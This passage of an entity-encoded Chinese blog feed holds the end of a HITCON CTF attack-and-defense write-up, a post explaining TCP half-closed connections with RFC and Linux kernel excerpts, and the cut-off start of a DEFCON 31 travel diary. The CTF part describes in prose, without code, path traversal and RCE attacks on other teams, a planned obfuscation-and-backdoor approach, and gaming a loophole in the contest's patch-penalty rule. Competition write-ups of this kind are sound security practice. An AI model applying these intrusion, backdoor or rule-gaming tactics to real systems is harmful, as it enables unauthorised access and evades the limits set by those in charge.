&#x90A3;&#x9EBC;&#x68D2;&#x7684;&#x8A9E;&#x8A00;&#xFF0C;&#x61C9;&#x8A72;&#x5F88;&#x5C11;&#x6709;&#x968A;&#x4F0D;&#x6703;&#x60F3;&#x641E;&#x3002;</p><p>&#x7B56;&#x7565;&#x4E0A;&#x5927;&#x6982;&#x662F;&#x5C0D;&#x7684;&#xFF0C;&#x57F7;&#x884C;&#x4E0A;&#x9047;&#x5230;&#x4E0D;&#x5C11;&#x554F;&#x984C;&#x3002;</p><p>&#x9996;&#x5148;&#x662F;&#x4E3B;&#x8FA6;&#x65B9;&#x4E00;&#x958B;&#x59CB;&#x6C92;&#x5C0D; A&amp;D &#x52A0;&#x4EE5;&#x9650;&#x5236;&#xFF0C;&#x958B;&#x984C;&#x4E0D;&#x4E45;&#x5F8C;&#x6240;&#x6709;&#x984C;&#x76EE;&#x6A5F;&#x5C31;&#x88AB; DoS &#x641E;&#x639B;&#x4E86;&#xFF0C;&#x518D;&#x52A0;&#x4E0A;&#x4E0D;&#x77E5;&#x9053;&#x70BA;&#x4EC0;&#x9EBC;&#x984C;&#x76EE;&#x4F7F;&#x7528;&#x7684; xinitd &#x5728; docker &#x88E1;&#x6709; bug &#x670D;&#x52D9;&#x8D77;&#x4E0D;&#x4F86;&#xFF0C;&#x800C;&#x4E14;&#x5728;&#x6211;&#x5011;&#x7684; attack manager &#x4E0A;&#x5F9E;&#x982D;&#x641E;&#x74B0;&#x5883;&#x6642;&#x9047;&#x5230; DNS &#x4E0D;&#x77E5;&#x70BA;&#x4F55;&#x8D85;&#x6162;&#x7684;&#x554F;&#x984C;&#xFF0C;&#x5F8C;&#x4F86; @as535364 &#xA0;&#x548C; @asef18766 &#x5F04;&#x4E86;&#x5E7E;&#x5C0F;&#x6642;&#x7D42;&#x65BC;&#x628A;&#x670D;&#x52D9;&#x67B6;&#x8D77;&#x4F86;&#xFF0C;&#x5728;&#x524D;&#x5169;&#x4E09;&#x500B;&#x5C0F;&#x6642;&#x53EA;&#x80FD;&#x975C;&#x614B;&#x770B;&#x90A3;&#x5768; PSP&#x3002;</p><p>&#x6211;&#x9084;&#x5728;&#x770B; PSP &#x6642;&#x4EA4;&#x4EE3;&#x7D66; Charlie &#x6284;&#x653B;&#x64CA;&#xFF0C;&#x7576;&#x6642;&#x5C01;&#x5305;&#x8A18;&#x9304;&#x4E0B;&#x4F86;&#x6D41;&#x884C;&#x7684;&#x653B;&#x64CA;&#x662F;&#x5F88;&#x7C21;&#x55AE;&#x7684; Path Traversal&#xFF0C;&#x53EA;&#x662F;&#x6211;&#x5011;&#x6C92;&#x6709;&#x4EFB;&#x4F55;&#x670D;&#x52D9;&#x80FD;&#x9A57;&#x8B49;&#x4ED6;&#x662F;&#x53EF;&#x884C;&#x7684;&#x653B;&#x64CA;&#xFF0C;&#x6240;&#x4EE5;&#x76F4;&#x5230;&#x984C;&#x76EE;&#x6A5F;&#x7A69;&#x5B9A;&#x524D;&#x90FD;&#x6C92;&#x6709;&#x4EBA;&#x958B;&#x767C; exploit&#x3002;</p><p>&#x5728;&#x7B2C;&#x4E00;&#x5929;&#x7D50;&#x675F;&#x524D;&#x5E7E;&#x5C0F;&#x6642;&#x624D;&#x5BEB;&#x51FA; path traversal exploit&#xFF0C; &#x76F4;&#x63A5;&#x88AB; Kiwawa &#x8650;&#x4E86;&#x5E7E;&#x767E;&#x5206;&#xFF0C;&#x8CFD;&#x5F8C;&#x4ED6;&#x5011;&#x8AAA;&#x7B2C;&#x4E00;&#x5929;&#x53EA;&#x662F;&#x6284;&#x653B;&#x64CA;&#x6D41;&#x91CF;&#xFF0C;&#x7B2C;&#x4E8C;&#x5929;&#x5C31;&#x6C92;&#x770B;&#x9019;&#x984C;...</p><p>&#x7B2C;&#x4E00;&#x5929;&#x4E0A; Patch &#x7684;&#x9EC3;&#x91D1;&#x6642;&#x9593;&#x5DF2;&#x904E;&#xFF0C;&#x9019;&#x984C; Patch &#x672C;&#x8EAB;&#x96E3;&#x4E0A;&#x597D;&#x7E5E;&#xFF0C;&#x56E0;&#x6B64;&#x9700;&#x8981;&#x60F3;&#x500B;&#x7B56;&#x7565;&#x53BB;&#x4E0A;&#xFF0C;&#x7FFB;&#x4E86;&#x4E00;&#x4E0B;&#x767C;&#x73FE;&#x898F;&#x5247;&#x6709;&#x6F0F;&#x6D1E;</p><p><code>Do not attempt to bypass service check or patch penalty in any ways. Consult organizers when in doubt.</code></p><p>&#x5982;&#x679C;&#x6211;&#x7684;&#x76EE;&#x6A19;&#x662F;&#x8B93; patch invisible for player &#xFF0C;&#x6211;&#x53EF;&#x4EE5;&#x540C;&#x6642;&#x6EFF;&#x8DB3;&#x6C92;&#x6709; bypass service check and patch penalty&#xFF0C;&#x90A3;&#x597D;&#x50CF;&#x53EA;&#x8981;&#x6BCF;&#x6B21;&#x66F4;&#x65B0; patch &#x6642;&#x4E3B;&#x52D5;&#x53BB;&#x89F8;&#x767C; Patch penalty &#x5C31;&#x4E0D;&#x9055;&#x53CD;&#x9019;&#x898F;&#x5247; XD</p><p>&#x5BE6;&#x4F5C;&#x4E0A;&#x5C31;&#x662F;&#x7528; RCE &#x6D1E;&#x53BB;&#x4E0B;&#x8F09;&#x4E00;&#x6B21;&#x81EA;&#x5DF1;&#x7684; Patch &#x5F8C;&#x8F09;&#x5165;&#xFF0C;&#x56E0;&#x70BA;&#x4ED6;&#x662F; PSP</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://blog.cjis.ooo/content/images/2023/11/image-5.png" class="kg-image" alt loading="lazy" width="1118" height="687" srcset="https://blog.cjis.ooo/content/images/size/w600/2023/11/image-5.png 600w, https://blog.cjis.ooo/content/images/size/w1000/2023/11/image-5.png 1000w, https://blog.cjis.ooo/content/images/2023/11/image-5.png 1118w" sizes="(min-width: 720px) 720px"><figcaption>&#x76E7;&#x4E3B;&#x8FA6;&#x65B9;</figcaption></figure><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://blog.cjis.ooo/content/images/2023/11/image-6.png" class="kg-image" alt loading="lazy" width="633" height="736" srcset="https://blog.cjis.ooo/content/images/size/w600/2023/11/image-6.png 600w, https://blog.cjis.ooo/content/images/2023/11/image-6.png 633w"><figcaption>&#x7E7C;&#x7E8C;&#x76E7;XD</figcaption></figure><p>&#x6700;&#x5F8C;&#x4E3B;&#x8FA6;&#x65B9;&#x662F;&#x628A; Patch &#x6703;&#x88AB;&#x516C;&#x958B;&#x4E5F;&#x52A0;&#x5165;&#x5230; Patch Penalty &#x88E1;&#x4F86;&#x89E3;&#x9019;&#x500B;&#x898F;&#x5247; bug XD</p><p>&#x5176;&#x5BE6;&#x6703;&#x76E7;&#x662F;&#x56E0;&#x70BA;&#x9084;&#x6C92;&#x627E;&#x5230;&#x65B9;&#x6CD5;&#x5B8C;&#x6574;&#x63A7; Node.js&#xFF0C;&#x80FD;&#x63A7; Node.js &#x5C31;&#x662F;&#x8001;&#x5957;&#x8DEF;&#x6DF7;&#x6DC6;+&#x5F8C;&#x9580;&#xFF0C;&#x7D66;&#x4F60;&#x6284;&#x4F46;&#x662F;&#x6211;&#x81F3;&#x5C11;&#x53EF;&#x4EE5;&#x6253;&#x4F60;&#x3002;&#x8981;&#x7528; PSP &#x5BEB;&#x500B;&#x57FA;&#x672C;&#x689D;&#x4EF6;&#x904E;&#x6FFE;&#x5B57;&#x4E32;&#x7684; WAF &#x5C31;&#x82B1;&#x6211;&#x5E7E;&#x500B;&#x5C0F;&#x6642; debug&#xFF0C; Token &#x9593;&#x7684;&#x7A7A;&#x767D;&#x6703;&#x5F71;&#x97FF;&#x89E3;&#x6790;&#x7D50;&#x679C;&#xFF0C;&#x884C;&#x70BA;&#x9084;&#x4E0D;&#x4E00;&#x81F4;&#xFF0C;debug &#x7D50;&#x679C;&#x5C31;&#x662F;&#x6709;&#x4E9B;&#x53EF;&#x4EE5;&#x7A7A;&#x767D;&#x6709;&#x4E9B;&#x4E0D;&#x884C;...</p><p>&#x90A3;&#x6642;&#x5927;&#x6982;&#x662F;&#x77E5;&#x9053;&#x6709; class &#x548C; fmt &#x5169;&#x500B;&#x53EF;&#x4EE5;&#x63A7; Node.js&#xFF0C;&#x6211;&#x9019;&#x908A;&#x9084;&#x6C92;&#x6709;&#x7A7A;&#x7814;&#x7A76;&#x8A73;&#x7D30; exploit&#xFF0C;&#x5C31;&#x4E1F;&#x7D66; Sun &#x5927;&#x5927;&#x958B;&#x767C;&#xFF0C;&#x958B;&#x767C;&#x6210;&#x529F;&#x5F8C;&#x958B;&#x59CB;&#x7A69;&#x5B9A;&#x62FF;&#x5206;<br>&lt;(_ _)&gt;</p><p>&#x5F8C;&#x7E8C; Patch &#x7CFB;&#x7D71;&#x672C;&#x8EAB;&#x4E5F;&#x51FA;&#x73FE;&#x5F88;&#x591A; bug&#xFF0C;&#x50CF;&#x662F;&#x597D;&#x5E7E;&#x8F2A;&#x524D;&#x5DF2;&#x7D93; Patch &#x6210;&#x529F;&#x7684;&#x6771;&#x897F;&#x4E1F;&#x4E0A;&#x53BB;&#x6703;&#x5931;&#x6557;&#xFF0C;&#x4E1F;&#x5225;&#x968A; Patch &#x6703;&#x5931;&#x6557;&#xFF0C;&#x56E0;&#x70BA;&#x67D0;&#x8F2A;&#x958B;&#x59CB;&#x4E3B;&#x8FA6;&#x65B9;&#x6539;&#x4E86; service check&#xFF0C;&#x5C0E;&#x81F4; Patch &#x6210;&#x529F;&#x5224;&#x5B9A;&#x8B8A;&#x6210;&#x5F88;&#x96A8;&#x6A5F;&#x7684;&#x6A23;&#x5B50;&#x3002;&#x76F4;&#x5230;&#x7B2C;&#x4E8C;&#x5929;&#x4E0B;&#x5348;&#x624D;&#x7D42;&#x65BC;&#x6210;&#x529F;&#x4E0A;&#x4E86;&#x57FA;&#x672C;&#x7684; Patch&#x3002;</p><p>&#x7D50;&#x679C;&#x9019;&#x984C;&#x88AB; Kiwawa &#x8650;&#x8D85;&#x904E;&#x4E94;&#x767E;&#x5206;&#x7684;&#x6A23;&#x5B50;QQ</p><p>&#x9019;&#x5927;&#x6982;&#x5C31;&#x662F;&#x70BA;&#x5565; PM &#x4E0D;&#x8981;&#x8DF3;&#x4E0B;&#x53BB;&#x5BEB; code&#xFF0C;&#x90FD;&#x5728;&#x5FD9; patch &#x592A;&#x665A;&#x627E;&#x4EBA;&#x5BEB; exploit</p><p>&#x8CFD;&#x5F8C;&#x627E;&#x55B5;&#x55B5;&#x8A0E;&#x8AD6;&#xFF0C;&#x624D;&#x767C;&#x73FE;&#x9084;&#x6709;&#x5F88;&#x591A;&#x6897;&#x662F;&#x6240;&#x6709;&#x968A;&#x4F0D;&#x90FD;&#x6C92;&#x767C;&#x73FE;&#x7684;&#xFF0C;&#x50CF;&#x662F;PSP &#x6C92;&#x6709;&#x8A3B;&#x89E3;&#x5B58;&#x5728;&#x3001;&#x6240;&#x6709;&#x5B57;&#x4E32;&#x90FD;&#x53EF;&#x4EE5;&#x505A; Function call &#x5F88; PHP</p><p>&#x539F;&#x672C;&#x5C0D; PSP &#x751F;&#x6C23;&#x6C23;&#x82B1;&#x5169;&#x5929;&#x6253;&#x4E86;&#x500B;&#x7A7A;&#x6C23;&#x5C31;&#x5FFD;&#x7136;&#x89BA;&#x5F97;&#x4ED6;&#x597D;&#x68D2;&#x6709;&#x6897;&#xFF0C;&#x53EA;&#x662F; infra &#x592A;&#x70B8;&#x57CB;&#x6C92;&#x4E86;&#x5B83;</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://blog.cjis.ooo/content/images/2023/11/image-1.png" class="kg-image" alt loading="lazy" width="1061" height="710" srcset="https://blog.cjis.ooo/content/images/size/w600/2023/11/image-1.png 600w, https://blog.cjis.ooo/content/images/size/w1000/2023/11/image-1.png 1000w, https://blog.cjis.ooo/content/images/2023/11/image-1.png 1061w" sizes="(min-width: 720px) 720px"><figcaption>&#x7B2C;&#x4E03;</figcaption></figure><p>&#x6700;&#x5F8C;&#x5E7E;&#x8F2A;&#x770B;&#x5230; Kiwawa &#x5FEB;&#x8FFD;&#x4E0A;&#xFF0C;&#x5DEE;&#x9EDE;&#x4E00;&#x7FA4;&#x8001;&#x4EBA;&#x5C31;&#x88AB;&#x8650;&#x4E86;&#xFF0C;&#x597D;&#x5F37;...</p><p>&#x62FF;&#x5230; Taiwan Star $1,000 :D</p><p>&#x9019;&#x6B21; HITCON Carnival &#x6574;&#x984C;&#x8996;&#x89BA;&#x8A2D;&#x8A08;&#x8D85;&#x68D2;&#xFF0C;&#x771F;&#x7684;&#x597D;&#x60F3;&#x628A; CTF &#x548C;&#x6D3B;&#x52D5;&#x932F;&#x958B;&#x4E00;&#x9EDE;&#x6642;&#x9593;&#x8B93;&#x9078;&#x624B;&#x4E5F;&#x80FD;&#x901B;&#x901B;&#x3002;&#x4E0D;&#x77E5;&#x9053;&#x6709;&#x6C92;&#x6709;&#x51FA;&#x5468;&#x908A;&#x6B38;&#xFF0C;&#x597D;&#x60F3;&#x8CB7;&#x90A3;&#x96BB;&#x55B5;&#x55B5;&#x73A9;&#x5076;&#x3001;&#x5E3D;&#x5B50;&#x548C;&#x8CBC;&#x7D19;</p>]]></content:encoded></item><item><title><![CDATA[TCP half-closed 小記]]></title><description><![CDATA[<p>&#x4ECA;&#x5E74; HITCON Final Infra &#x9047;&#x5230; half-closed TCP connection &#x592A;&#x591A;&#x5C0E;&#x81F4;&#x8D85;&#x904E;&#x4E3B;&#x8FA6;&#x65B9; TCP limit &#x7684;&#x60C5;&#x6CC1;&#xFF0C;&#x7576;&#x6642;&#x5B8C;&#x5168;&#x4E0D;&#x77E5;&#x9053;&#x4EC0;&#x9EBC;&#x662F; half-closed &#x4E5F;&#x4E0D;&#x77E5;&#x9053;&#x600E;&#x9EBC;&#x5075;&#x6E2C;&#x4E26;&#x95DC;&#x6389;&#x5C1A;&#x672A;&#x7D50;</p>]]></description><link>https://blog.cjis.ooo/tcp-half-closed/</link><guid isPermaLink="false">655c4dfce1bf08000107cb59</guid><dc:creator><![CDATA[cjiso1117]]></dc:creator><pubDate>Wed, 22 Nov 2023 05:43:23 GMT</pubDate><content:encoded><![CDATA[<p>&#x4ECA;&#x5E74; HITCON Final Infra &#x9047;&#x5230; half-closed TCP connection &#x592A;&#x591A;&#x5C0E;&#x81F4;&#x8D85;&#x904E;&#x4E3B;&#x8FA6;&#x65B9; TCP limit &#x7684;&#x60C5;&#x6CC1;&#xFF0C;&#x7576;&#x6642;&#x5B8C;&#x5168;&#x4E0D;&#x77E5;&#x9053;&#x4EC0;&#x9EBC;&#x662F; half-closed &#x4E5F;&#x4E0D;&#x77E5;&#x9053;&#x600E;&#x9EBC;&#x5075;&#x6E2C;&#x4E26;&#x95DC;&#x6389;&#x5C1A;&#x672A;&#x7D50;&#x675F;&#x7684;&#x9023;&#x7DDA;</p><p>&#x4ECA;&#x5929;&#x5728;&#x770B; linkerd &#x9047;&#x5230;&#x76F8;&#x95DC;&#x7684; <a href="https://linkerd.io/2.14/tasks/debugging-502s/?ref=blog.cjis.ooo#half-closed-connection-timeouts">feature</a> &#xFF0C;&#x67E5;&#x4E00;&#x4E0B;&#x627E;&#x5230; <a href="https://datatracker.ietf.org/doc/html/rfc9293?ref=blog.cjis.ooo#name-closing-a-connection">RFC9293</a> <br></p><figure class="kg-card kg-code-card"><pre><code>TCP Peer A                                           TCP Peer B

1.  ESTABLISHED                                          ESTABLISHED

2.  (Close)
    FIN-WAIT-1  --&gt; &lt;SEQ=100&gt;&lt;ACK=300&gt;&lt;CTL=FIN,ACK&gt;  --&gt; CLOSE-WAIT

3.  FIN-WAIT-2  &lt;-- &lt;SEQ=300&gt;&lt;ACK=101&gt;&lt;CTL=ACK&gt;      &lt;-- CLOSE-WAIT

4.                                                       (Close)
    TIME-WAIT   &lt;-- &lt;SEQ=300&gt;&lt;ACK=101&gt;&lt;CTL=FIN,ACK&gt;  &lt;-- LAST-ACK

5.  TIME-WAIT   --&gt; &lt;SEQ=101&gt;&lt;ACK=301&gt;&lt;CTL=ACK&gt;      --&gt; CLOSED

6.  (2 MSL)
    CLOSED</code></pre><figcaption><a href="https://datatracker.ietf.org/doc/html/rfc9293?ref=blog.cjis.ooo#figure-12">Figure 12</a>: <a href="https://datatracker.ietf.org/doc/html/rfc9293?ref=blog.cjis.ooo#name-normal-close-sequence">Normal Close Sequence</a></figcaption></figure><figure class="kg-card kg-code-card"><pre><code>TCP Peer A                                           TCP Peer B

1.  ESTABLISHED                                          ESTABLISHED

2.  (Close)                                              (Close)
    FIN-WAIT-1  --&gt; &lt;SEQ=100&gt;&lt;ACK=300&gt;&lt;CTL=FIN,ACK&gt;  ... FIN-WAIT-1
                &lt;-- &lt;SEQ=300&gt;&lt;ACK=100&gt;&lt;CTL=FIN,ACK&gt;  &lt;--
                ... &lt;SEQ=100&gt;&lt;ACK=300&gt;&lt;CTL=FIN,ACK&gt;  --&gt;

3.  CLOSING     --&gt; &lt;SEQ=101&gt;&lt;ACK=301&gt;&lt;CTL=ACK&gt;      ... CLOSING
                &lt;-- &lt;SEQ=301&gt;&lt;ACK=101&gt;&lt;CTL=ACK&gt;      &lt;--
                ... &lt;SEQ=101&gt;&lt;ACK=301&gt;&lt;CTL=ACK&gt;      --&gt;

4.  TIME-WAIT                                            TIME-WAIT
    (2 MSL)                                              (2 MSL)
    CLOSED                                               CLOSED</code></pre><figcaption><a href="https://datatracker.ietf.org/doc/html/rfc9293?ref=blog.cjis.ooo#figure-13">Figure 13</a>: <a href="https://datatracker.ietf.org/doc/html/rfc9293?ref=blog.cjis.ooo#name-simultaneous-close-sequence">Simultaneous Close Sequence</a></figcaption></figure><p>&#x9084;&#x6709;<a href="https://gist.github.com/adleong/0203b0864af2c29ddb821dd48f339f49?ref=blog.cjis.ooo">&#x5075;&#x6E2C; half-closed script</a>&#xFF0C;&#x53BB; /proc/net/tcp &#x6293; connection state</p><figure class="kg-card kg-code-card"><pre><code>46: 010310AC:9C4C 030310AC:1770 01
|      |      |      |      |   |--&gt; connection state
|      |      |      |      |------&gt; remote TCP port number
|      |      |      |-------------&gt; remote IPv4 address
|      |      |--------------------&gt; local TCP port number
|      |---------------------------&gt; local IPv4 address
|----------------------------------&gt; number of entry

00000150:00000000 01:00000019 00000000
   |        |     |     |       |--&gt; number of unrecovered RTO timeouts
   |        |     |     |----------&gt; number of jiffies until timer expires
   |        |     |----------------&gt; timer_active (see below)
   |        |----------------------&gt; receive-queue
   |-------------------------------&gt; transmit-queue

1000        0 54165785 4 cd1e6040 25 4 27 3 -1
 |          |    |     |    |     |  | |  | |--&gt; slow start size threshold,
 |          |    |     |    |     |  | |  |      or -1 if the threshold
 |          |    |     |    |     |  | |  |      is &gt;= 0xFFFF
 |          |    |     |    |     |  | |  |----&gt; sending congestion window
 |          |    |     |    |     |  | |-------&gt; (ack.quick&lt;&lt;1)|ack.pingpong
 |          |    |     |    |     |  |---------&gt; Predicted tick of soft clock
 |          |    |     |    |     |              (delayed ACK control data)
 |          |    |     |    |     |------------&gt; retransmit timeout
 |          |    |     |    |------------------&gt; location of socket in memory
 |          |    |     |-----------------------&gt; socket reference count
 |          |    |-----------------------------&gt; inode
 |          |----------------------------------&gt; unanswered 0-window probes
 |---------------------------------------------&gt; uid</code></pre><figcaption>https://github.com/torvalds/linux/blob/v6.6/Documentation/networking/proc_net_tcp.rst</figcaption></figure><figure class="kg-card kg-code-card"><pre><code>enum {
	TCP_ESTABLISHED = 1,
	TCP_SYN_SENT,  // 2
	TCP_SYN_RECV,  // 3
	TCP_FIN_WAIT1, // 4
	TCP_FIN_WAIT2, // 5
	TCP_TIME_WAIT, // 6
	TCP_CLOSE,     // 7
	TCP_CLOSE_WAIT,// 8
	TCP_LAST_ACK,  // 9
	TCP_LISTEN,    // 10
	TCP_CLOSING,   // 11 /* Now a valid state */
	TCP_NEW_SYN_RECV, // 12

	TCP_MAX_STATES // 13 /* Leave at the end! */
};</code></pre><figcaption>https://github.com/torvalds/linux/blob/98b1cc82c4affc16f5598d4fa14b1858671b2263/include/net/tcp_states.h#L12C1-L27C3</figcaption></figure><p>&#x8981;&#x627E; half-closed socket client &#x6293; st == 08 (TCP_CLOSE_WAIT) &#x548C; server &#x6293; st == 05(TCP_FIN_WAIT2)</p><p>kernel &#x6703;&#x8655;&#x7406; half-closed timeout&#xFF0C;&#x5927;&#x7D04;&#x5169;&#x5206;&#x9418;&#xFF0C;&#x6240;&#x4EE5;&#x8ABF;&#x6574; <code>net.ipv4.tcp_fin_timeout</code> &#x5C31;&#x53EF;&#x4EE5;&#x4E86;</p><figure class="kg-card kg-code-card"><pre><code>#define TCP_TIMEWAIT_LEN (60*HZ) /* how long to wait to destroy TIME-WAIT
				  * state, about 60 seconds	*/
#define TCP_FIN_TIMEOUT	TCP_TIMEWAIT_LEN
                                 /* BSD style FIN_WAIT2 deadlock breaker.
				  * It used to be 3min, new value is 60sec,
				  * to combine FIN-WAIT-2 timeout with
				  * TIME-WAIT timer.
				  */
#define TCP_FIN_TIMEOUT_MAX (120 * HZ) /* max TCP_LINGER2 value (two minutes) */</code></pre><figcaption>https://github.com/torvalds/linux/blob/98b1cc82c4affc16f5598d4fa14b1858671b2263/include/net/tcp.h#L124-L132</figcaption></figure><p>refs<br><a href="https://www.excentis.com/blog/tcp-half-close-a-cool-feature-that-is-now-broken/?ref=blog.cjis.ooo">https://www.excentis.com/blog/tcp-half-close-a-cool-feature-that-is-now-broken/</a><br><a href="https://linkerd.io/2.14/tasks/debugging-502s/?ref=blog.cjis.ooo#half-closed-connection-timeouts">https://linkerd.io/2.14/tasks/debugging-502s/#half-closed-connection-timeouts</a><br><a href="https://gist.github.com/adleong/0203b0864af2c29ddb821dd48f339f49?ref=blog.cjis.ooo">https://gist.github.com/adleong/0203b0864af2c29ddb821dd48f339f49</a></p>]]></content:encoded></item><item><title><![CDATA[DEFCON 31 遊記]]></title><description><![CDATA[<p>TWN48 &#x662F;&#x4E00;&#x500B;&#x7531; TSJ &#x548C; Balsn &#x7D44;&#x6210;&#x7684;&#x53F0;&#x7063;&#x5076;&#x50CF;&#x5718;&#x9AD4;&#xFF0C;&#x5728; DEFCON CTF Qual &#x5F97;&#x5230;&#x7B2C;&#x516D;&#x7684;&#x6210;&#x7E3E;&#xFF0C;&#x4ECA;&#x5E74;&#x6709;&#x5E78;&#x62FF;&#x5230;&#x98DB;&#x5F80; Las Vegas &#x6BD4;&#x8CFD;&#x7684;&#x88DC;&#x52A9;&#x8CC7;&#x683C;&#xFF0C;&#x89E3;&#x4E86;</p>]]></description><link>https://blog.cjis.ooo/2023-defcon-ctf-you-ji/</link><guid isPermaLink="false">64ddddcf5f7ab200019b00f3</guid><dc:creator><![CDATA[cjiso1117]]></dc:creator><pubDate>Thu, 17 Aug 2023 09:54:29 GMT</pubDate><content:encoded><![CDATA[<p>TWN48 &#x662F;&#x4E00;&#x500B;&#x7531; TSJ &#x548C; Balsn &#x7D44;&#x6210;&#x7684;&#x53F0;&#x7063;&#x5076;&#x50CF;&#x5718;&#x9AD4;&#xFF0C;&#x5728; DEFCON CTF Qual &#x5F97;&#x5230;&#x7B2C;&#x516D;&#x7684;&#x6210;&#x7E3E;&#xFF0C;&#x4ECA;&#x5E74;&#x6709;&#x5E78;&#x62FF;&#x5230;&#x98DB;&#x5F80; Las Vegas &#x6BD4;&#x8CFD;&#x7684;&#x88DC;&#x52A9;&#x8CC7;&#x683C;&#xFF0C;&#x89E3;&#x4E86;&#x4E00;&#x500B;&#x4EBA;&#x751F;&#x6210;&#x5C31;&#x3002;</p><h2 id="%E9%A3%9B%E6%A9%9F">&#x98DB;&#x6A5F;</h2><p>&#x9019;&#x6B21;&#x642D;&#x4E58; United &#x822A;&#x7A7A;&#x5148;&#x5F9E;&#x53F0;&#x7063;&#x5230;&#x820A;&#x91D1;&#x5C71;&#xFF0C;&#x518D;&#x8F49;&#x6A5F;&#x5230; Las Vegas&#xFF0C;&#x662F;&#x6211;&#x98DB;&#x904E;&#x6700;&#x9577;&#x7684;&#x73ED;&#x6A5F;&#xFF0C;&#x8D77;&#x98DB;&#x6642;&#x9593;&#x662F;&#x53F0;&#x7063;&#x65E9;&#x4E0A;&#xFF0C;&#x65BC;&#x662F;&#x524D;&#x4E00;&#x5929;&#x71AC;&#x591C;&#x5230;&#x51FA;&#x9580;&#xFF0C;&#x6B63;&#x597D;&#x53EF;&#x4EE5;&#x5728;&#x98DB;&#x6A5F;&#x4E0A;&#x7761;&#x7720;&#x8ABF;&#x6642;&#x5DEE;&#x3002;&#x9577;&#x9014;&#x73ED;&#x6A5F;&#x591A;&#x4E86;&#x4E00;&#x6B21;&#x5C0F;&#x9EDE;&#x548C;&#x6B63;&#x9910;&#xFF0C;&#x6B63;&#x9910;&#x7684;&#x90E8;&#x5206;&#x5F88;&#x666E;&#x901A;&#xFF0C;&#x5C0F;&#x9EDE;&#x662F;&#x5C0F;&#x9EB5;&#x5305;&#x4E2D;&#x9593;&#x593E;&#x8D77;&#x53F8;&#x548C;&#x96DE;&#x8089;&#xFF0C;&#x96DE;&#x8089;&#x51B0;&#x6DBC;&#x7684;&#x53E3;&#x611F;&#x76F8;&#x7576;&#x723D;&#x53E3;&#xFF0C;&#x662F;&#x6B64;&#x6B21;&#x65C5;&#x9014;&#x524D;&#x4E09;&#x597D;&#x5403;&#x7684;&#x96DE;&#x8089;&#x3002;</p><p>&#x96D6;&#x7136;&#x98DB;&#x6A5F;&#x4E0A;&#x4E00;&#x8DEF;&#x5403;&#x5403;&#x7761;&#x7761;&#xFF0C;&#x5230;&#x9054;&#x820A;&#x91D1;&#x5C71;&#x6642;&#x9084;&#x662F;&#x60F3;&#x5403;&#x4E9B;&#x7F8E;&#x570B;&#x98DF;&#x7269;&#xFF0C;&#x7F8E;&#x570B;&#x7269;&#x50F9;&#x7576;&#x5373;&#x7D66;&#x4E86;&#x6211;&#x4E00;&#x68D2;&#xFF0C;&#x540C;&#x884C;&#x7684;&#x4EBA;&#x9EDE;&#x4E86;&#x985E;&#x4F3C;&#x53F0;&#x5F0F;&#x6A59;&#x6C41;&#x96DE;&#x67F3;&#x548C;&#x7092;&#x98EF;&#x5957;&#x9910;&#x82B1;&#x4E86; 15$&#xFF0C;&#x800C;&#x6211;&#x9EDE;&#x4E86;&#x4E00;&#x6372; BBQ Burrito&#xFF0C;&#x539F;&#x50F9; 15.99$ &#x52A0;&#x4E0A;&#x7A05;&#x548C;&#x5C0F;&#x8CBB;&#x9AD8;&#x9054; 18.37$&#xFF0C;&#x96A8;&#x4FBF;&#x5403;&#x4E00;&#x9910;&#x90FD;&#x8981;&#x82B1;&#x4E0A;&#x8D85;&#x904E;&#x4E94;&#x767E;&#x81FA;&#x5E63;&#xFF0C;&#x4E0D;&#x904E;&#x6709;&#x8DA3;&#x7684;&#x662F;&#x7121;&#x8AD6;&#x4EC0;&#x9EBC;&#x6A23;&#x7684;&#x83DC;&#x5F0F;&#x50F9;&#x4F4D;&#x90FD;&#x5927;&#x7D04;&#x843D;&#x5728; 15~20$&#xFF0C;&#x65BC;&#x662F;&#x53EF;&#x4EE5;&#x770B;&#x5230;&#x540C;&#x50F9;&#x4F4D;&#x7684;&#x8D8A;&#x5357;&#x9EB5;&#x5305;&#x548C;&#x65E5;&#x5F0F;&#x751F;&#x9B5A;&#x7247;&#x6599;&#x7406;&#x3001;&#x7F8E;&#x570B;&#x6F22;&#x5821;&#x3001;12 oz &#x725B;&#x6392;&#xFF0C;&#x5BE6;&#x73FE;&#x53E6;&#x985E;&#x7684;&#x7A2E;&#x65CF;&#x5E73;&#x7B49;&#x3002;</p><p>&#x820A;&#x91D1;&#x5C71;&#x98DB;&#x5F80; Las Vegas &#x7684;&#x73ED;&#x6A5F;&#x7D93;&#x904E;&#x7F8E;&#x570B;&#x672C;&#x571F;&#xFF0C;&#x4E0D;&#x78BA;&#x5B9A;&#x662F;&#x98DB;&#x884C;&#x9AD8;&#x5EA6;&#x4F4E;&#x9084;&#x662F;&#x7121;&#x96F2;&#x7684;&#x539F;&#x56E0;&#xFF0C;&#x53EF;&#x4EE5;&#x76F8;&#x7576;&#x6E05;&#x695A;&#x7684;&#x770B;&#x5230;&#x5730;&#x8868;&#x7684;&#x8B8A;&#x5316;&#xFF0C;&#x5C31;&#x50CF;&#x662F;&#x5728;&#x73A9;&#x6A21;&#x64EC;&#x4EBA;&#x751F;&#x7684;&#x4E0A;&#x5E1D;&#x8996;&#x89D2;&#xFF0C;&#x4FEF;&#x8996;&#x6C99;&#x5B50;&#x822C;&#x5927;&#x5C0F;&#x7684;&#x8C6A;&#x5B85;&#x3001;&#x8FB2;&#x7530;&#x3001;&#x8ECA;&#x6D41;&#x3002;&#x63A0;&#x904E;&#x623F;&#x5C4B;&#x5BC6;&#x96C6;&#x7684;&#x820A;&#x91D1;&#x5C71;&#x3001;&#x7A1C;&#x89D2;&#x5206;&#x660E;&#x9069;&#x5408;&#x767C;&#x751F;&#x547D;&#x6848;&#x7684;&#x5C71;&#x5340;&#x3001;&#x7DCA;&#x9130;&#x6C99;&#x6F20;&#x9621;&#x964C;&#x4EA4;&#x901A;&#x4E0D;&#x6D6A;&#x8CBB;&#x5206;&#x6BEB;&#x571F;&#x5730;&#x7684;&#x7C97;&#x653E;&#x8FB2;&#x696D;&#x3001;&#x9661;&#x7136;&#x51FA;&#x73FE;&#x9744;&#x9744;&#x767D;&#x96EA;&#x7684;&#x5C71;&#x982D;&#x3001;&#x6559;&#x79D1;&#x66F8;&#x4E0A;&#x4E00;&#x5708;&#x5708;&#x7DA0;&#x7DA0;&#x7684;&#x8FB2;&#x7530;&#x3001;&#x7121;&#x4EBA;&#x5C45;&#x7684;&#x771F;&#x6C